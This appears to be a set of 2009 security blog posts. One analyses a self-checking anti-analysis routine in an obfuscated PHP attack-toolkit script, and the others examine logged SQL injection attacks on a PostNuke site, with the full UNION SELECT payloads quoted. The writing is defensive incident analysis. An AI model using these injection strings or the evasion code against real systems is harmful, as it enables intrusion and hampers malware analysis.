PHP Anti-analysis Technique

I was looking through a PHP web attack toolkit yesterday and found one of the scripts was obfuscated in an attempt to prevent others from figuring out what the code does. In short, the obfuscation worked by decoded a long base64 encoded string, applying some modifications to each letter based on where it was, and then executing the final output (thru an eval command).

No problem, I thought. There are three options to decode this:

1. Figure out what the code is doing and write a translation program. Nah, too long.
2. Modify the source for PHP itself to print any eval statements to a file. Hmmmm...maybe, but not now.
3. Add a print statement to the obfuscated script to print out the unobfuscated code instead of eval'ing it. Yep...easy.

So I changed the eval statement to a print and ran the PHP code. Nothing.

After ensuring my PHP wasn't borked I decided something was going on and I needed to look at the code. After a few minutes, I found the following:

$file = __FILE__;
$file = file_get_contents($file);
$var8 = 0;
preg_match(base64_decode("LyhwcmludHxzcHJpbnR8ZWNobykv"), $file, $var8);

for (;$interator_1<$enc_str_len;) {
if (count($var8)) exit;

Note that the for loop is the loop to decode each character of the PHP code.

This is a nice little anti-analysis function. First, it grabs the contents of itself in the first two lines. Then, it initializes $var8 to 0. Next, it looks for a regular expression in the contents of the current file, setting $var8 to the number of occurences found. The regular expression is a base64 encoded string. What does it decode to?

/(print|sprint|echo)/

So, its looking for any occurence of print, sprint or echo within the file. Then, in the decoding loop, if any occurences ($var8 > 0) are present the program exits. Simple technique to make analysis more difficult.

Of course, its pretty easy to bypass as well. :)

Another Odd SQL Injection Attack

In my last post, I talked about a large SQL injection attacked launched against a site I help run. Well, last night it happened again.

On 3/8/09 from 10:56 GMT to 11:40 GMT, the website I help run received over 3100 SQL injection attacks from close to 2 dozen IP addresses. The query received this time was:

/modules.php?name=-1+AND+2=2+UNION+ALL+SELECT+0x3065376332613738353864303833656636636535323337343330636466343033,
0x3a3a7865512d312d7465643a3a,0x3a3a7865512d322d7465643a3a,0x3a3a7865512d332d7465643a3a,0x3a3a7865512d342d7465643a3a,
0x3a3a7865512d352d7465643a3a,0x3a3a7865512d362d7465643a3a,0x3a3a7865512d372d7465643a3a,0x3a3a7865512d382d7465643a3a,
0x3a3a7865512d392d7465643a3a,0x3a3a7865512d31302d7465643a3a,0x3a3a7865512d31312d7465643a3a,0x3a3a7865512d31322d7465643a3a,
0x3a3a7865512d31332d7465643a3a,0x3a3a7865512d31342d7465643a3a,0x3a3a7865512d31352d7465643a3a,0x3a3a7865512d31362d7465643a3a,
0x3a3a7865512d31372d7465643a3a,0x3a3a7865512d31382d7465643a3a,0x3a3a7865512d31392d7465643a3a,0x3a3a7865512d32302d7465643a3a,
0x3a3a7865512d32312d7465643a3a,0x3a3a7865512d32322d7465643a3a,0x3a3a7865512d32332d7465643a3a,0x3a3a7865512d32342d7465643a3a,
0x3a3a7865512d32352d7465643a3a,0x3a3a7865512d32362d7465643a3a,0x3a3a7865512d32372d7465643a3a,0x3a3a7865512d32382d7465643a3a,
0x3a3a7865512d32392d7465643a3a,0x3a3a7865512d33302d7465643a3a,0x3a3a7865512d33312d7465643a3a,0x3a3a7865512d33322d7465643a3a,
0x3a3a7865512d33332d7465643a3a,0x3a3a7865512d33342d7465643a3a,0x3a3a7865512d33352d7465643a3a,0x3a3a7865512d33362d7465643a3a,
0x3a3a7865512d33372d7465643a3a,0x3a3a7865512d33382d7465643a3a,0x3a3a7865512d33392d7465643a3a,0x3a3a7865512d34302d7465643a3a,
0x3a3a7865512d34312d7465643a3a,0x3a3a7865512d34322d7465643a3a,0x3a3a7865512d34332d7465643a3a,0x3a3a7865512d34342d7465643a3a,
0x3a3a7865512d34352d7465643a3a,0x3a3a7865512d34362d7465643a3a,0x3a3a7865512d34372d7465643a3a--

The User-Agent this time was Mozilla/5.0.

There are a couple interesting things to note on this attack. First is the use of the double-dashes at the end of the SQL injection. Double-dashes are used in MySQL and SQL Server queries to comment out and ignore the rest of the line.

Next, if we assume that the hex values decode into the attack then the database being attacked must decode them somehow. Since the SQL does not use a CAST operator, which SQL Server requires to convert hex into characters, and only has the hex values, then we can infer the database being attacked is MySQL. (Note that I'm basing some of this on my knowledge and previous use of SQL injection attacks from my job - I could very well be wrong on this.)

The hex encoded values are interesting. If we decode them from hex into ASCII characters, we get the following query:

/modules.php?name=-1+AND+2=2+UNION+ALL+SELECT+0e7c2a7858d083ef6ce5237430cdf403,
::xeQ-1-ted::,::xeQ-2-ted::,::xeQ-3-ted::,::xeQ-4-ted::,::xeQ-5-ted::,::xeQ-6-ted::,
::xeQ-7-ted::,::xeQ-8-ted::,::xeQ-9-ted::,::xeQ-10-ted::,::xeQ-11-ted::,::xeQ-12-ted::,
::xeQ-13-ted::,::xeQ-14-ted::,::xeQ-15-ted::,::xeQ-16-ted::,::xeQ-17-ted::,::xeQ-18-ted::,::xeQ-19-ted::,::xeQ-20-ted::,::xeQ-21-ted::,
::xeQ-22-ted::,::xeQ-23-ted::,::xeQ-24-ted::,::xeQ-25-ted::,::xeQ-26-ted::,::xeQ-27-ted::,::xeQ-28-ted::,
::xeQ-29-ted::,::xeQ-30-ted::,::xeQ-31-ted::,::xeQ-32-ted::,::xeQ-33-ted::,::xeQ-34-ted::,::xeQ-35-ted::,
::xeQ-36-ted::,::xeQ-37-ted::,::xeQ-38-ted::,::xeQ-39-ted::,::xeQ-40-ted::,::xeQ-41-ted::,::xeQ-42-ted::,
::xeQ-43-ted::,::xeQ-44-ted::,::xeQ-45-ted::,::xeQ-46-ted::,::xeQ-47-ted::--

I'll admit that this has me stumped. Due to the pattern, the hex appears to be decoded correctly. However, I cannot make heads or tails of what is being attempted here. Interestingly, googling for "::xeQ-1-ted::" brings up a number of entries which look like an attack similiar to this one may have succeeded on other sites.

So, anyone have any ideas for this one?

Odd SQL Injection Attack

Updated 3/9/09.

Last night, from 21:21 EST to 21:41 EST a website I help run received over 1300 SQL injection attempts from less than a dozen IP addresses. This is a pretty popular site so its not uncommon for us to get hit with injection attacks, but its rare for us to get this hard.

Normally I would brush it off as an unsuccessful botnet attack, but the SQL injection is bugging me as I can't figure out what the purpose is. The query we recieved was as follows:

/modules.php?name=news&new_topic=9\' and 1=2 union select
CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),
CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),
CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),
CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),
CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),
CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),
CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),
CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),
CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),
CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),
CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),
CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),
CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),
CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),
CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),
CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c),
CONCAT(0x27,0x7c,0x5f,0x7c) and \'1\'=\'1

The user-agent was "NV32ts".

This is an attack on PostNuke, which the site does run. However, the number of CONCAT's are what I'm stumped on (as well as some others I've asked).

The CONCAT(0x27,0x7c,0x5f,0x7c) statement decodes to:

'|_|

When you combine them all together, you get the following statement:

/modules.php?name=news&new_topic=9\' and 1=2 union select
'|_|,'|_|,'|_|,'|_|,'|_|,'|_|,'|_|,'|_|,'|_|,'|_|,'|_|,'|_|,'|_|,'|_|,'|_|,'|_|,
'|_|,'|_|,'|_|,'|_|,'|_|,'|_|,'|_|,'|_|,'|_|,'|_|,'|_|,'|_|,'|_|,'|_|,'|_|,'|_|,
'|_|,'|_|,'|_|,'|_|,'|_|,'|_|,'|_|,'|_|,'|_|,'|_|,'|_|,'|_|,'|_|,'|_|,'|_|,'|_|,
'|_| and \'1\'=\'1

The underscore in MySQL can be used as a single-character wildcard, which could further decode the injection to:

/modules.php?name=news&new_topic=9\' and 1=2 union select
'||,'||,'||,'||,'||,'||,'||,'||,'||,'||,'||,'||,'||,'||,'||,'||,'||,'||,'||,'||,'||,
'||,'||,'||,'||,'||,'||,'||,'||,'||,'||,'||,'||,'||,'||,'||,'||,'||,'||,'||,'||,'||,
'||,'||,'||,'||,'||,'||,'|| and \'1\'=\'1

In reading that, its potentially a bunch of logical OR statements (the double pipes) with some single quotes. But to me it still looks like it will generate at error.

I've googled the CONCAT statement and the user-agent and there are a bunch of hits, but nothing which gives me any information. In fact, it looks like there have been a number of attacks using this string. But, that doesn't give me the purpose of the injection string above. This is what I (and some others) have come up with:

1. This was meant to generate a SQL error to see if a site is vulnerable. If thats the case, why so many hits in such a short period of time?
2. The attacker was trying to evade IDS/IPS/protections, but made a mistake.
3. The attacker just doesn't know what they are doing at all.

I'm open to any ideas.

UPDATE

I received alot of responses on my previous SQL Injection. Thanks to everyone who did. For the most part, most came to the same conclusion as I did that the injection was either to generate an error or it was a mistake on the attacker's part.

As for the user agent, NV32ts, I've confirmed that it is a known signature of a botnet. I am currently trying to dig up any samples on it.